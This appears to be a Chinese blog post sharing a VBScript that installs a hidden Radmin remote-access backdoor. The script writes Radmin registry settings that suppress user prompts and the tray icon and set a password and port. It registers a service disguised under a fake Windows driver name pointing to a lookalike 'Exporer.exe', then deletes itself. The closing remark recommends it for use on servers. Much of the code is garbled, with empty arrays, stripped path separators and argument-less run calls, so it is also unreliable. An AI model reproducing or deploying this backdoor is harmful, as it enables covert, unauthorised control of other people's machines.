Vbs脚本实现radmin终极后门

Vbs脚本实现radmin终极后门

代码如下：

 on error resume next
 const HKEY_LOCAL_MACHINE = &H80000002
 strComputer = "."
 Set StdOut = WScript.StdOut
 Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
 strComputer & " ootdefault:StdRegProv")
 strKeyPath = "SYSTEMRAdmin"
 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
 strKeyPath = "SYSTEMRAdminv2.0"
 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
 strKeyPath = "SYSTEMRAdminv2.0Server"
 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
 strKeyPath = "SYSTEMRAdminv2.0Serveriplist"
 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
 strKeyPath = "SYSTEMRAdminv2.0ServerParameters"
 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
 Set objRegistry = GetObject("Winmgmts:rootdefault:StdRegProv")
 strPath = "SYSTEMRAdminv2.0ServerParameters"
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
 uBinary = Array(,,,,,,,,,,,,,,,) //此为注册表导出十六进制转为十进制数据 pass:
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary) //Radmin密码
 uBinary = Array(,,,) //端口：
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
 uBinary = Array(,,,)
 Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
 Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &strComputer &" ootdefault:StdRegProv")
 strKeyPath = "SYSTEMRAdminv2.0ServerParameters"
 strValueName = "LogFilePath"
 strValue = "c:logfile.txt"
 set wshshell=createobject ("wscript.shell")
 a=wshshell.run ()
 oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
 Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &strComputer &" ootdefault:StdRegProv")
 strKeyPath = "SYSTEMControlSet001ServicesWinManageHelp"
 strValueName = "Description"
 strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers."
 oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
 strValueName = "DisplayName"
 strValue = "Windows Management Instrumentation Player Drivers"
 oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
 strValueName = "ImagePath"
 strValue = "c:windowssystem32Exporer.exe /service"
 oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
 set wshshell=createobject ("wscript.shell")
 a=wshshell.run ()
 b=wshshell.run ()
 c=wshshell.run ()
 d=wshshell.run ()
 CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) //自删除

个人觉得比较实用，服务器的时候可以用到。